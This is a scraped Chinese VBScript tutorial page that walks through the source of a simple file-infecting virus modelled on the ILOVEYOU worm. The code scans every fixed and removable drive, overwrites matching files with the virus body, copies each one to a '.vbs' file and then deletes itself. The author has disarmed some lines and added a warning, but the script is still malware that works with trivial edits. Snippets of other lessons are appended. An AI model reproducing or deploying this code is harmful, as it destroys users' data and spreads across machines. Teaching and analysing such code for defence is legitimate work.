Vbs指令碼程式設計簡明教程之十六

2021-09-21 09:30:01 字數 1644 閱讀 8455

vbs

病毒的簡單例子源**解析

<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

說明:作者對某些**進行了修改。該檔案是乙個完整的程式。該檔案執行之後,會尋找硬碟上所有滿足條件的檔案,對其進行強制性覆蓋(滿足條件的檔案資料將全部丟失)、並再建立乙個相同檔名但後帶

.vbs

的檔案。因此,請注意設立好破壞測試條件,千萬不要對他人進行測試,否則,一切後果自負。

dim folder,fso,foldername,f,d,dc

set fso=createobject("scripting.filesystemobject")

set self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall '

讀取病毒體,以備複製到檔案

self.close

set dc=fso.drives

for each d in dc

if d.drivetype=3 or d.drivetype=2 then '

檢查磁碟型別

wscript.echo d '

彈出視窗,顯示找到碟符

scan(d)

end if

next 

lsfile=wscript.scriptfullname '

該指令碼程式路徑

set lsfile=fso.getfile(lsfile)

lsfile.delete(true) '

病毒執行後自我刪除

(本人自加,愛蟲病毒本身沒有該**)

sub scan(folder_)

on error resume next

set folder_=fso.getfolder(folder_)

set files=folder_.files

for each file in files

ext=fso.getextensionname(file) '

獲取檔案字尾

ext=lcase(ext) '

字尾名轉換成小寫字母

if ext="mp5" then '

如果字尾名是

mp5,

當然不存在這種檔案,這裡可以自己修改,但是注意。請自己建立相應字尾名的檔案,最好是非正常字尾名

set ap=fso.opentextfile(file.path,2,true) 

' ap.write vbscopy '

覆蓋檔案,慎用

ap.close

set cop=fso.getfile(file.path)

cop.copy(file.path & ".vbs") '

建立另外乙個病毒檔案

' file.delete(true) '

刪除原來檔案

end if

next

set subfolders=folder_.subfolders

for each subfolder in subfolders '

搜尋其他目錄

scan(subfolder)

next 

end sub

Vbs指令碼程式設計簡明教程之五

錯誤處理 引發錯誤的原因有很多,例如使用者輸入了錯誤型別的值,或者指令碼找不到必需的檔案 目錄或者驅動器,我們可以使用迴圈技術來處理錯誤,但是vbs本身也提供了一些基本技術來進行錯誤的檢測和處理。1 最常見的錯誤是執行時錯誤,也就是說錯誤在指令碼正在執行的時候發生,是指令碼試圖進行非法操作的結果。例...

Vbs指令碼程式設計簡明教程之七

fso的常見物件和方法 檔案系統是所有作業系統最重要的部分之一,指令碼經常會需要對檔案及資料夾進行訪問和管理,在vbs中對桌面和檔案系統進行訪問的頂級物件是filesystemobject fso 這個物件特別複雜,是vbs進行檔案操作的核心。此節內容應瞭如指掌。fso包含的常見物件有 drive物...

Vbs指令碼程式設計簡明教程之十一

xml namespace 4代表資料夾或目錄。代表存檔檔案。msgbox f.attributes 函式的作用是顯示檔案屬性 msgbox 二 建立檔案 檔案已存在 set f fso.createtextfile c kk.txt true 三 複製 移動 刪除檔案 使用 movefile 方法...